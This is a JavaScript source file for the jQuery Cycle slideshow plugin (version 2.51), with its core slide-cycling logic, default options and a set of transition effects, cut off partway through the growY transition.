/*!
 * jQuery Cycle Plugin (with Transition Definitions)
 * Examples and documentation at: http://jquery.malsup.com/cycle/
 * Copyright (c) 2007-2009 M. Alsup
 * Version: 2.51 (16-FEB-2009)
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 * Requires: jQuery v1.2.3 or later
 *
 * Originally based on the work of:
 *	1) Matt Oakes (http://portfolio.gizone.co.uk/applications/slideshow/)
 *	2) Torsten Baldes (http://medienfreunde.com/lab/innerfade/)
 *	3) Benjamin Sterling (http://www.benjaminsterling.com/experiments/jqShuffle/)
 */
;(function($) {

var ver = '2.51';

// if $.support is not defined (pre jQuery 1.3) add what I need
if ($.support == undefined) {
	$.support = {
		opacity: !($.browser.msie && /MSIE 6.0/.test(navigator.userAgent))
	};
}

function log() {
	if (window.console && window.console.log)
		window.console.log('[cycle] ' + Array.prototype.join.call(arguments,''));
};

$.fn.cycle = function(options) {
	if (this.length == 0) {
		// is your DOM ready?  http://docs.jquery.com/Tutorials:Introducing_$(document).ready()
		log('terminating; zero elements found by selector' + ($.isReady ? '' : ' (DOM not ready)'));
		return this;
	}

	var opt2 = arguments[1];
	return this.each(function() {
		if (this.cycleStop == undefined)
			this.cycleStop = 0;
		if (options === undefined || options === null)
			options = {};
		if (options.constructor == String) {
			switch(options) {
			case 'stop':
				this.cycleStop++; // callbacks look for change
				if (this.cycleTimeout) clearTimeout(this.cycleTimeout);
				this.cycleTimeout = 0;
				$(this).removeData('cycle.opts');
				return;
			case 'pause':
				this.cyclePause = 1;
				return;
			case 'resume':
				this.cyclePause = 0;
				if (opt2 === true) { // resume now!
					options = $(this).data('cycle.opts');
					if (!options) {
						log('options not found, can not resume');
						return;
					}
					if (this.cycleTimeout) {
						clearTimeout(this.cycleTimeout);
						this.cycleTimeout = 0;
					}			 
					go(options.elements, options, 1, 1);
				}
				return;
			default:
				options = { fx: options };
			};
		}
		else if (options.constructor == Number) {
			// go to the requested slide
			var num = options;
			options = $(this).data('cycle.opts');
			if (!options) {
				log('options not found, can not advance slide');
				return;
			}
			if (num < 0 || num >= options.elements.length) {
				log('invalid slide index: ' + num);
				return;
			}
			options.nextSlide = num;
			if (this.cycleTimeout) {
				clearTimeout(this.cycleTimeout);
				this.cycleTimeout = 0;
			}			 
			go(options.elements, options, 1, num >= options.currSlide);
			return;
		}

		// stop existing slideshow for this container (if there is one)
		if (this.cycleTimeout) clearTimeout(this.cycleTimeout);
		this.cycleTimeout = 0;
		this.cyclePause = 0;
		
		var $cont = $(this);
		var $slides = options.slideExpr ? $(options.slideExpr, this) : $cont.children();
		var els = $slides.get();
		if (els.length < 2) {
			log('terminating; too few slides: ' + els.length);
			return; // don't bother
		}

		// support metadata plugin (v1.0 and v2.0)
		var opts = $.extend({}, $.fn.cycle.defaults, options || {}, $.metadata ? $cont.metadata() : $.meta ? $cont.data() : {});
		if (opts.autostop) 
			opts.countdown = opts.autostopCount || els.length;

		$cont.data('cycle.opts', opts);
		opts.container = this;
		opts.stopCount = this.cycleStop;

		opts.elements = els;
		opts.before = opts.before ? [opts.before] : [];
		opts.after = opts.after ? [opts.after] : [];
		opts.after.unshift(function(){ opts.busy=0; });
		if (opts.continuous)
			opts.after.push(function() { go(els,opts,0,!opts.rev); });
		opts.originalBefore = opts.before;
		opts.originalAfter = opts.after;
			
		// clearType corrections
		if (!$.support.opacity && opts.cleartype && !opts.cleartypeNoBg)
			clearTypeFix($slides);

		// allow shorthand overrides of width, height and timeout
		var cls = this.className;
		opts.width = parseInt((cls.match(/w:(\d+)/)||[])[1]) || opts.width;
		opts.height = parseInt((cls.match(/h:(\d+)/)||[])[1]) || opts.height;
		opts.timeout = parseInt((cls.match(/t:(\d+)/)||[])[1]) || opts.timeout;

		if ($cont.css('position') == 'static') 
			$cont.css('position', 'relative');
		if (opts.width) 
			$cont.width(opts.width);
		if (opts.height && opts.height != 'auto') 
			$cont.height(opts.height);

		if (opts.startingSlide) opts.startingSlide = parseInt(opts.startingSlide);	
			
		if (opts.random) {
			opts.randomMap = [];
			for (var i = 0; i < els.length; i++) 
				opts.randomMap.push(i);
			opts.randomMap.sort(function(a,b) {return Math.random() - 0.5;});
			opts.randomIndex = 0;
			opts.startingSlide = opts.randomMap[0];
		}
		else if (opts.startingSlide >= els.length)
			opts.startingSlide = 0; // catch bogus input
		opts.currSlide = opts.startingSlide = opts.startingSlide || 0;
		var first = opts.startingSlide;
		$slides.css({position: 'absolute', top:0, left:0}).hide().each(function(i) { 
			var z = first ? i >= first ? els.length - (i-first) : first-i : els.length-i;
			$(this).css('z-index', z) 
		});
		
		$(els[first]).css('opacity',1).show(); // opacity bit needed to handle reinit case
		if ($.browser.msie) els[first].style.removeAttribute('filter');

		if (opts.fit && opts.width) 
			$slides.width(opts.width);
		if (opts.fit && opts.height && opts.height != 'auto') 
			$slides.height(opts.height);
			
		var reshape = opts.containerResize && !$cont.innerHeight();
		if (reshape) { // apply this logic only if container has no size http://tinyurl.com/da2oa9
			var maxw = 0, maxh = 0;
			for(var i=0; i < els.length; i++) {
				var $e = $(els[i]), w = $e.outerWidth(), h = $e.outerHeight();
				maxw = w > maxw ? w : maxw;
				maxh = h > maxh ? h : maxh;
			}
			$cont.css({width:maxw+'px',height:maxh+'px'});
		}
		
		if (opts.pause) 
			$cont.hover(function(){this.cyclePause++;},function(){this.cyclePause--;});

		var txs = $.fn.cycle.transitions;
		// look for multiple effects
		if (opts.fx.indexOf(',') > 0) {
			opts.multiFx = true;
			opts.fxs = opts.fx.replace(/\s*/g,'').split(',');
			// discard any bogus effect names
			for (var i=0; i < opts.fxs.length; i++) {
				var fx = opts.fxs[i];
				var tx = txs[fx];
				if (!tx || !txs.hasOwnProperty(fx) || !$.isFunction(tx)) {
					log('discarding unknowtn transition: ',fx);
					opts.fxs.splice(i,1);
					i--;
				}
			}
			// if we have an empty list then we threw everything away!
			if (!opts.fxs.length) {
				log('No valid transitions named; slideshow terminating.');
				return;
			}
		}
		else if (opts.fx == 'all') {  // auto-gen the list of transitions
			opts.multiFx = true;
			opts.fxs = [];
			for (p in txs) {
				var tx = txs[p];
				if (txs.hasOwnProperty(p) && $.isFunction(tx))
					opts.fxs.push(p);
			}
		}
		if (opts.multiFx && opts.randomizeEffects) {
			// munge the fx list to make effect selection random
			var r1 = Math.floor(Math.random() * 20) + 20;
			for (var i = 0; i < r1; i++) {
				var r2 = Math.floor(Math.random() * opts.fxs.length);
				opts.fxs.push(opts.fxs.splice(r2,1)[0]);
			}
			log('randomized fx sequence: ',opts.fxs);
		}

		// run transition init fn
		if (!opts.multiFx) {
			var init = txs[opts.fx];
			if ($.isFunction(init)) 
				init($cont, $slides, opts);
			else if (opts.fx != 'custom' && !opts.multiFx) {
				log('unknown transition: ' + opts.fx,'; slideshow terminating');
				return;
			}
		}				
		$slides.each(function() {
			var $el = $(this);
			this.cycleH = (opts.fit && opts.height) ? opts.height : $el.height();
			this.cycleW = (opts.fit && opts.width) ? opts.width : $el.width();
		});

		opts.cssBefore = opts.cssBefore || {};
		opts.animIn = opts.animIn || {};
		opts.animOut = opts.animOut || {};

		$slides.not(':eq('+first+')').css(opts.cssBefore);
		if (opts.cssFirst)
			$($slides[first]).css(opts.cssFirst);

		if (opts.timeout) {
			opts.timeout = parseInt(opts.timeout);
			// ensure that timeout and speed settings are sane
			if (opts.speed.constructor == String)
				opts.speed = $.fx.speeds[opts.speed] || parseInt(opts.speed);
			if (!opts.sync)
				opts.speed = opts.speed / 2;
			while((opts.timeout - opts.speed) < 250)
				opts.timeout += opts.speed;
		}
		if (opts.easing) 
			opts.easeIn = opts.easeOut = opts.easing;
		if (!opts.speedIn) 
			opts.speedIn = opts.speed;
		if (!opts.speedOut) 
			opts.speedOut = opts.speed;

		opts.slideCount = els.length;
		opts.currSlide = opts.lastSlide = first;
		if (opts.random) {
			opts.nextSlide = opts.currSlide;
			if (++opts.randomIndex == els.length) 
				opts.randomIndex = 0;
			opts.nextSlide = opts.randomMap[opts.randomIndex];
		}
		else
			opts.nextSlide = opts.startingSlide >= (els.length-1) ? 0 : opts.startingSlide+1;

		// fire artificial events
		var e0 = $slides[first];
		if (opts.before.length)
			opts.before[0].apply(e0, [e0, e0, opts, true]);
		if (opts.after.length > 1)
			opts.after[1].apply(e0, [e0, e0, opts, true]);
		
		if (opts.click && !opts.next)
			opts.next = opts.click;
		if (opts.next)
			$(opts.next).bind('click', function(){return advance(els,opts,opts.rev?-1:1)});
		if (opts.prev)
			$(opts.prev).bind('click', function(){return advance(els,opts,opts.rev?1:-1)});
		if (opts.pager)
			buildPager(els,opts);

		// expose fn for adding slides after the show has started
		opts.addSlide = function(newSlide, prepend) {
			var $s = $(newSlide), s = $s[0];
			if (!opts.autostopCount)
				opts.countdown++;
			els[prepend?'unshift':'push'](s);
			if (opts.els)
				opts.els[prepend?'unshift':'push'](s); // shuffle needs this
			opts.slideCount = els.length;
			
			$s.css('position','absolute');
			$s[prepend?'prependTo':'appendTo']($cont);
			
			if (prepend) {
				opts.currSlide++;
				opts.nextSlide++;
			}
			
			if (!$.support.opacity && opts.cleartype && !opts.cleartypeNoBg)
				clearTypeFix($s);

			if (opts.fit && opts.width) 
				$s.width(opts.width);
			if (opts.fit && opts.height && opts.height != 'auto') 
				$slides.height(opts.height);
			s.cycleH = (opts.fit && opts.height) ? opts.height : $s.height();
			s.cycleW = (opts.fit && opts.width) ? opts.width : $s.width();

			$s.css(opts.cssBefore);

			if (opts.pager)
				$.fn.cycle.createPagerAnchor(els.length-1, s, $(opts.pager), els, opts);
			
			if (typeof opts.onAddSlide == 'function')
				opts.onAddSlide($s);
			else
				$s.hide(); // default behavior
		};

		if (opts.timeout || opts.continuous)
			this.cycleTimeout = setTimeout(
				function(){go(els,opts,0,!opts.rev)}, 
				opts.continuous ? 10 : opts.timeout + (opts.delay||0));
	});
};

function go(els, opts, manual, fwd) {
	if (manual && opts.busy) {
		$(els).stop(true,true);
		opts.busy = false;
	}
	if (opts.busy) return;
	var p = opts.container, curr = els[opts.currSlide], next = els[opts.nextSlide];
	if (p.cycleStop != opts.stopCount || p.cycleTimeout === 0 && !manual) 
		return;

	if (!manual && !p.cyclePause && 
		((opts.autostop && (--opts.countdown <= 0)) ||
		(opts.nowrap && !opts.random && opts.nextSlide < opts.currSlide))) {
		if (opts.end)
			opts.end(opts);
		return;
	}

	if (manual || !p.cyclePause) {
		// keep trying to get the size if we don't have it yet
		curr.cycleH = curr.cycleH || curr.offsetHeight;
		curr.cycleW = curr.cycleW || curr.offsetWidth;
		next.cycleH = next.cycleH || next.offsetHeight;
		next.cycleW = next.cycleW || next.offsetWidth;
		
		// support multiple transition types
		if (opts.multiFx) {
			if (opts.lastFx == undefined || ++opts.lastFx >= opts.fxs.length) 
				opts.lastFx = 0;
			var fx = opts.fxs[opts.lastFx];
			opts.currFx = fx;
			
			// reset state!
			opts.before = []; opts.after = [];
			opts.cssBefore = {}; opts.cssAfter = {}; opts.animIn = {}; opts.animOut = {};
			opts.fxFn = null;
			$.each(opts.originalBefore, function() { opts.before.push(this); });
			$.each(opts.originalAfter,  function() { opts.after.push(this); });
			
			// re-init
			var init = $.fn.cycle.transitions[fx];
			if ($.isFunction(init))
				init($(opts.container), $(opts.elements), opts);
		}
		
		if (opts.before.length)
			$.each(opts.before, function(i,o) { 
				if (p.cycleStop != opts.stopCount) return;
				o.apply(next, [curr, next, opts, fwd]); 
			});
		var after = function() {
			if ($.browser.msie && opts.cleartype)
				this.style.removeAttribute('filter');
			$.each(opts.after, function(i,o) { 
				if (p.cycleStop != opts.stopCount) return;
				o.apply(next, [curr, next, opts, fwd]); 
			});
		};

		if (opts.nextSlide != opts.currSlide) {
			opts.busy = 1;
			if (opts.fxFn)
				opts.fxFn(curr, next, opts, after, fwd);
			else if ($.isFunction($.fn.cycle[opts.fx]))
				$.fn.cycle[opts.fx](curr, next, opts, after);
			else
				$.fn.cycle.custom(curr, next, opts, after, manual && opts.fastOnEvent);
		}
		opts.lastSlide = opts.currSlide;
		if (opts.random) {
			opts.currSlide = opts.nextSlide;
			if (++opts.randomIndex == els.length) 
				opts.randomIndex = 0;
			opts.nextSlide = opts.randomMap[opts.randomIndex];
		}
		else { // sequence
			var roll = (opts.nextSlide + 1) == els.length;
			opts.nextSlide = roll ? 0 : opts.nextSlide+1;
			opts.currSlide = roll ? els.length-1 : opts.nextSlide-1;
		}
		if (opts.pager)
			$.fn.cycle.updateActivePagerLink(opts.pager, opts.currSlide);
	}
	if (opts.timeout && !opts.continuous)
		p.cycleTimeout = setTimeout(function() { go(els,opts,0,!opts.rev) }, getTimeout(curr,next,opts,fwd));
	else if (opts.continuous && p.cyclePause) 
		p.cycleTimeout = setTimeout(function() { go(els,opts,0,!opts.rev) }, 10);
};

$.fn.cycle.updateActivePagerLink = function(pager, currSlide) {
	$(pager).find('a').removeClass('activeSlide').filter('a:eq('+currSlide+')').addClass('activeSlide');
};

function getTimeout(curr, next, opts, fwd) {
	if (opts.timeoutFn) {
		var t = opts.timeoutFn(curr,next,opts,fwd);
		if (t !== false)
			return t;
	}
	return opts.timeout;
};

// advance slide forward or back
function advance(els, opts, val) {
	var p = opts.container, timeout = p.cycleTimeout;
	if (timeout) {
		clearTimeout(timeout);
		p.cycleTimeout = 0;
	}
	if (opts.random && val < 0) {
		// move back to the previously display slide
		opts.randomIndex--;
		if (--opts.randomIndex == -2)
			opts.randomIndex = els.length-2;
		else if (opts.randomIndex == -1)
			opts.randomIndex = els.length-1;
		opts.nextSlide = opts.randomMap[opts.randomIndex];
	}
	else if (opts.random) {
		if (++opts.randomIndex == els.length) 
			opts.randomIndex = 0;
		opts.nextSlide = opts.randomMap[opts.randomIndex];
	}
	else {
		opts.nextSlide = opts.currSlide + val;
		if (opts.nextSlide < 0) {
			if (opts.nowrap) return false;
			opts.nextSlide = els.length - 1;
		}
		else if (opts.nextSlide >= els.length) {
			if (opts.nowrap) return false;
			opts.nextSlide = 0;
		}
	}
	
	if (opts.prevNextClick && typeof opts.prevNextClick == 'function')
		opts.prevNextClick(val > 0, opts.nextSlide, els[opts.nextSlide]);
	go(els, opts, 1, val>=0);
	return false;
};

function buildPager(els, opts) {
	var $p = $(opts.pager);
	$.each(els, function(i,o) {
		$.fn.cycle.createPagerAnchor(i,o,$p,els,opts);
	});
   $.fn.cycle.updateActivePagerLink(opts.pager, opts.startingSlide);
};

$.fn.cycle.createPagerAnchor = function(i, el, $p, els, opts) {
	var a = (typeof opts.pagerAnchorBuilder == 'function')
		? opts.pagerAnchorBuilder(i,el)
		: '<a href="#">'+(i+1)+'</a>';
	
	if (!a)
		return;
	
	var $a = $(a);
	
	// don't reparent if anchor is in the dom
	if ($a.parents('body').length == 0)
		$a.appendTo($p);
		
	$a.bind(opts.pagerEvent, function() {
		opts.nextSlide = i;
		var p = opts.container, timeout = p.cycleTimeout;
		if (timeout) {
			clearTimeout(timeout);
			p.cycleTimeout = 0;
		}			 
		if (typeof opts.pagerClick == 'function')
			opts.pagerClick(opts.nextSlide, els[opts.nextSlide]);
		go(els,opts,1,opts.currSlide < i);
		return false;
	});
	if (opts.pauseOnPagerHover)
		$a.hover(function() { opts.container.cyclePause++; }, function() { opts.container.cyclePause--; } );
};

// helper fn to calculate the number of slides between the current and the next
$.fn.cycle.hopsFromLast = function(opts, fwd) {
	var hops, l = opts.lastSlide, c = opts.currSlide;
	if (fwd)
		hops = c > l ? c - l : opts.slideCount - l;
	else
		hops = c < l ? l - c : l + opts.slideCount - c;
	return hops;
};

// this fixes clearType problems in ie6 by setting an explicit bg color
function clearTypeFix($slides) {
	function hex(s) {
		var s = parseInt(s).toString(16);
		return s.length < 2 ? '0'+s : s;
	};
	function getBg(e) {
		for ( ; e && e.nodeName.toLowerCase() != 'html'; e = e.parentNode) {
			var v = $.css(e,'background-color');
			if (v.indexOf('rgb') >= 0 ) { 
				var rgb = v.match(/\d+/g); 
				return '#'+ hex(rgb[0]) + hex(rgb[1]) + hex(rgb[2]);
			}
			if (v && v != 'transparent')
				return v;
		}
		return '#ffffff';
	};
	$slides.each(function() { $(this).css('background-color', getBg(this)); });
};

$.fn.cycle.commonReset = function(curr,next,opts,w,h,rev) {
	$(opts.elements).not(curr).hide();
	opts.cssBefore.opacity = 1; 
	opts.cssBefore.display = 'block';
	if (w !== false)
		opts.cssBefore.width = next.cycleW;
	if (h !== false)
		opts.cssBefore.height = next.cycleH;
	opts.cssAfter = opts.cssAfter || {};
	opts.cssAfter.display = 'none';
	$(curr).css('zIndex',opts.slideCount + (rev === true ? 1 : 0));
	$(next).css('zIndex',opts.slideCount + (rev === true ? 0 : 1));
};

$.fn.cycle.custom = function(curr, next, opts, cb, speedOverride) {
	var $l = $(curr), $n = $(next);
	$n.css(opts.cssBefore);
	
	var speedIn = opts.speedIn;
	var speedOut = opts.speedOut;
	var easeIn = opts.easeIn;
	var easeOut = opts.easeOut;
	
	if (speedOverride) {
		if (typeof speedOverride == 'number')
			speedIn = speedOut = speedOverride;
		else
			speedIn = speedOut = 1;
		easeIn = easeOut = null;
	}

	var fn = function() {$n.animate(opts.animIn, speedIn, easeIn, cb)};
	$l.animate(opts.animOut, speedOut, easeOut, function() {
		if (opts.cssAfter) $l.css(opts.cssAfter);
		if (!opts.sync) fn();
	});
	if (opts.sync) fn();
};

$.fn.cycle.transitions = {
	fade: function($cont, $slides, opts) {
		$slides.not(':eq('+opts.currSlide+')').css('opacity',0);
		opts.before.push(function(curr,next,opts) { 
			$.fn.cycle.commonReset(curr,next,opts);
			opts.cssBefore.opacity = 0; 
		});
		opts.animIn	   = { opacity: 1 };
		opts.animOut   = { opacity: 0 };
		opts.cssBefore = { top: 0, left: 0 };
	}
};

$.fn.cycle.ver = function() { return ver; };

// override these globally if you like (they are all optional)
$.fn.cycle.defaults = {
	fx:			  'fade', // name of transition effect (or comma separated names, ex: fade,scrollUp,shuffle) 
	timeout:	   4000,  // milliseconds between slide transitions (0 to disable auto advance)
	timeoutFn:     null,  // callback for determining per-slide timeout value:  function(currSlideElement, nextSlideElement, options, forwardFlag)
	continuous:	   0,	  // true to start next transition immediately after current one completes
	speed:		   1000,  // speed of the transition (any valid fx speed value)
	speedIn:	   null,  // speed of the 'in' transition
	speedOut:	   null,  // speed of the 'out' transition
	next:		   null,  // selector for element to use as click trigger for next slide
	prev:		   null,  // selector for element to use as click trigger for previous slide
	prevNextClick: null,  // callback fn for prev/next clicks:	function(isNext, zeroBasedSlideIndex, slideElement)
	pager:		   null,  // selector for element to use as pager container
	pagerClick:	   null,  // callback fn for pager clicks:	function(zeroBasedSlideIndex, slideElement)
	pagerEvent:	  'click', // name of event which drives the pager navigation
	pagerAnchorBuilder: null, // callback fn for building anchor links:  function(index, DOMelement)
	before:		   null,  // transition callback (scope set to element to be shown):     function(currSlideElement, nextSlideElement, options, forwardFlag)
	after:		   null,  // transition callback (scope set to element that was shown):  function(currSlideElement, nextSlideElement, options, forwardFlag)
	end:		   null,  // callback invoked when the slideshow terminates (use with autostop or nowrap options): function(options)
	easing:		   null,  // easing method for both in and out transitions
	easeIn:		   null,  // easing for "in" transition
	easeOut:	   null,  // easing for "out" transition
	shuffle:	   null,  // coords for shuffle animation, ex: { top:15, left: 200 }
	animIn:		   null,  // properties that define how the slide animates in
	animOut:	   null,  // properties that define how the slide animates out
	cssBefore:	   null,  // properties that define the initial state of the slide before transitioning in
	cssAfter:	   null,  // properties that defined the state of the slide after transitioning out
	fxFn:		   null,  // function used to control the transition: function(currSlideElement, nextSlideElement, options, afterCalback, forwardFlag)
	height:		  'auto', // container height
	startingSlide: 0,	  // zero-based index of the first slide to be displayed
	sync:		   1,	  // true if in/out transitions should occur simultaneously
	random:		   0,	  // true for random, false for sequence (not applicable to shuffle fx)
	fit:		   0,	  // force slides to fit container
	containerResize: 1,	  // resize container to fit largest slide
	pause:		   0,	  // true to enable "pause on hover"
	pauseOnPagerHover: 0, // true to pause when hovering over pager link
	autostop:	   0,	  // true to end slideshow after X transitions (where X == slide count)
	autostopCount: 0,	  // number of transitions (optionally used with autostop to define X)
	delay:		   0,	  // additional delay (in ms) for first transition (hint: can be negative)
	slideExpr:	   null,  // expression for selecting slides (if something other than all children is required)
	cleartype:	   0,	  // true if clearType corrections should be applied (for IE)
	nowrap:		   0,	  // true to prevent slideshow from wrapping
	fastOnEvent:   0,	  // force fast transitions when triggered manually (via pager or prev/next); value == time in ms
	randomizeEffects: 1   // valid when multiple effects are used; true to make the effect sequence random
};

})(jQuery);


/*!
 * jQuery Cycle Plugin Transition Definitions
 * This script is a plugin for the jQuery Cycle Plugin
 * Examples and documentation at: http://malsup.com/jquery/cycle/
 * Copyright (c) 2007-2008 M. Alsup
 * Version:	 2.51
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 */
(function($) {

//
// These functions define one-time slide initialization for the named
// transitions. To save file size feel free to remove any of these that you 
// don't need.
//

// scrollUp/Down/Left/Right
$.fn.cycle.transitions.scrollUp = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push($.fn.cycle.commonReset);
	var h = $cont.height();
	opts.cssBefore ={ top: h, left: 0 };
	opts.cssFirst = { top: 0 };
	opts.animIn	  = { top: 0 };
	opts.animOut  = { top: -h };
};
$.fn.cycle.transitions.scrollDown = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push($.fn.cycle.commonReset);
	var h = $cont.height();
	opts.cssFirst = { top: 0 };
	opts.cssBefore= { top: -h, left: 0 };
	opts.animIn	  = { top: 0 };
	opts.animOut  = { top: h };
};
$.fn.cycle.transitions.scrollLeft = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push($.fn.cycle.commonReset);
	var w = $cont.width();
	opts.cssFirst = { left: 0 };
	opts.cssBefore= { left: w, top: 0 };
	opts.animIn	  = { left: 0 };
	opts.animOut  = { left: 0-w };
};
$.fn.cycle.transitions.scrollRight = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push($.fn.cycle.commonReset);
	var w = $cont.width();
	opts.cssFirst = { left: 0 };
	opts.cssBefore= { left: -w, top: 0 };
	opts.animIn	  = { left: 0 };
	opts.animOut  = { left: w };
};
$.fn.cycle.transitions.scrollHorz = function($cont, $slides, opts) {
	$cont.css('overflow','hidden').width();
	opts.before.push(function(curr, next, opts, fwd) {
		$.fn.cycle.commonReset(curr,next,opts);
		opts.cssBefore.left = fwd ? (next.cycleW-1) : (1-next.cycleW);
		opts.animOut.left = fwd ? -curr.cycleW : curr.cycleW;
	});
	opts.cssFirst = { left: 0 };
	opts.cssBefore= { top: 0 };
	opts.animIn   = { left: 0 };
	opts.animOut  = { top: 0 };
};
$.fn.cycle.transitions.scrollVert = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push(function(curr, next, opts, fwd) {
		$.fn.cycle.commonReset(curr,next,opts);
		opts.cssBefore.top = fwd ? (1-next.cycleH) : (next.cycleH-1);
		opts.animOut.top = fwd ? curr.cycleH : -curr.cycleH;
	});
	opts.cssFirst = { top: 0 };
	opts.cssBefore= { left: 0 };
	opts.animIn   = { top: 0 };
	opts.animOut  = { left: 0 };
};

// slideX/slideY
$.fn.cycle.transitions.slideX = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$(opts.elements).not(curr).hide();
		$.fn.cycle.commonReset(curr,next,opts,false,true);
		opts.animIn.width = next.cycleW;
	});
	opts.cssBefore = { left: 0, top: 0, width: 0 };
	opts.animIn	 = { width: 'show' };
	opts.animOut = { width: 0 };
};
$.fn.cycle.transitions.slideY = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$(opts.elements).not(curr).hide();
		$.fn.cycle.commonReset(curr,next,opts,true,false);
		opts.animIn.height = next.cycleH;
	});	   
	opts.cssBefore = { left: 0, top: 0, height: 0 };
	opts.animIn	 = { height: 'show' };
	opts.animOut = { height: 0 };
};

// shuffle
$.fn.cycle.transitions.shuffle = function($cont, $slides, opts) {
	var w = $cont.css('overflow', 'visible').width();
	$slides.css({left: 0, top: 0});
	opts.before.push(function(curr,next,opts) { 
		$.fn.cycle.commonReset(curr,next,opts,true,true,true);
	});
	opts.speed = opts.speed / 2; // shuffle has 2 transitions		 
	opts.random = 0;
	opts.shuffle = opts.shuffle || {left:-w, top:15};
	opts.els = [];
	for (var i=0; i < $slides.length; i++)
		opts.els.push($slides[i]);

	for (var i=0; i < opts.currSlide; i++)
		opts.els.push(opts.els.shift());

	// custom transition fn (hat tip to Benjamin Sterling for this bit of sweetness!)
	opts.fxFn = function(curr, next, opts, cb, fwd) {
		var $el = fwd ? $(curr) : $(next);
		$(next).css(opts.cssBefore);
		var count = opts.slideCount;
		$el.animate(opts.shuffle, opts.speedIn, opts.easeIn, function() {
			var hops = $.fn.cycle.hopsFromLast(opts, fwd);
			for (var k=0; k < hops; k++)
				fwd ? opts.els.push(opts.els.shift()) : opts.els.unshift(opts.els.pop());
			if (fwd) 
				for (var i=0, len=opts.els.length; i < len; i++)
					$(opts.els[i]).css('z-index', len-i+count);
			else {
				var z = $(curr).css('z-index');
				$el.css('z-index', parseInt(z)+1+count);
			}
			$el.animate({left:0, top:0}, opts.speedOut, opts.easeOut, function() {
				$(fwd ? this : curr).hide();
				if (cb) cb();
			});
		});
	};
	opts.cssBefore = { display: 'block', opacity: 1, top: 0, left: 0 };
};

// turnUp/Down/Left/Right
$.fn.cycle.transitions.turnUp = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,false);
		opts.cssBefore.top = next.cycleH;
		opts.animIn.height = next.cycleH;
	});
	opts.cssFirst  = { top: 0 };
	opts.cssBefore = { left: 0, height: 0 };
	opts.animIn	   = { top: 0 };
	opts.animOut   = { height: 0 };
};
$.fn.cycle.transitions.turnDown = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,false);
		opts.animIn.height = next.cycleH;
		opts.animOut.top   = curr.cycleH;
	});
	opts.cssFirst  = { top: 0 };
	opts.cssBefore = { left: 0, top: 0, height: 0 };
	opts.animOut   = { height: 0 };
};
$.fn.cycle.transitions.turnLeft = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,true);
		opts.cssBefore.left = next.cycleW;
		opts.animIn.width = next.cycleW;
	});
	opts.cssBefore = { top: 0, width: 0  };
	opts.animIn	   = { left: 0 };
	opts.animOut   = { width: 0 };
};
$.fn.cycle.transitions.turnRight = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,true);
		opts.animIn.width = next.cycleW;
		opts.animOut.left = curr.cycleW;
	});
	opts.cssBefore = { top: 0, left: 0, width: 0 };
	opts.animIn	   = { left: 0 };
	opts.animOut   = { width: 0 };
};

// zoom
$.fn.cycle.transitions.zoom = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,false,true);
		opts.cssBefore.top = next.cycleH/2;
		opts.cssBefore.left = next.cycleW/2;
		opts.animIn	   = { top: 0, left: 0, width: next.cycleW, height: next.cycleH };
		opts.animOut   = { width: 0, height: 0, top: curr.cycleH/2, left: curr.cycleW/2 };
	});	   
	opts.cssFirst = { top:0, left: 0 };
	opts.cssBefore = { width: 0, height: 0 };
};

// fadeZoom
$.fn.cycle.transitions.fadeZoom = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,false);
		opts.cssBefore.left = next.cycleW/2;
		opts.cssBefore.top = next.cycleH/2;
		opts.animIn	= { top: 0, left: 0, width: next.cycleW, height: next.cycleH };
	});	   
	opts.cssBefore = { width: 0, height: 0 };
	opts.animOut  = { opacity: 0 };
};

// blindX
$.fn.cycle.transitions.blindX = function($cont, $slides, opts) {
	var w = $cont.css('overflow','hidden').width();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts);
		opts.animIn.width = next.cycleW;
		opts.animOut.left   = curr.cycleW;
	});
	opts.cssBefore = { left: w, top: 0 };
	opts.animIn = { left: 0 };
	opts.animOut  = { left: w };
};
// blindY
$.fn.cycle.transitions.blindY = function($cont, $slides, opts) {
	var h = $cont.css('overflow','hidden').height();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts);
		opts.animIn.height = next.cycleH;
		opts.animOut.top   = curr.cycleH;
	});	   
	opts.cssBefore = { top: h, left: 0 };
	opts.animIn = { top: 0 };
	opts.animOut  = { top: h };
};
// blindZ
$.fn.cycle.transitions.blindZ = function($cont, $slides, opts) {
	var h = $cont.css('overflow','hidden').height();
	var w = $cont.width();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts);
		opts.animIn.height = next.cycleH;
		opts.animOut.top   = curr.cycleH;
	});	   
	opts.cssBefore = { top: h, left: w };
	opts.animIn = { top: 0, left: 0 };
	opts.animOut  = { top: h, left: w };
};

// growX - grow horizontally from centered 0 width
$.fn.cycle.transitions.growX = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,true);
		opts.cssBefore.left = this.cycleW/2;
		opts.animIn = { left: 0, width: this.cycleW };
		opts.animOut = { left: 0 };
	});	   
	opts.cssBefore = { width: 0, top: 0 };
};
// growY - grow vertically from centered 0 height
$.fn.cycle.transitions.growY = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
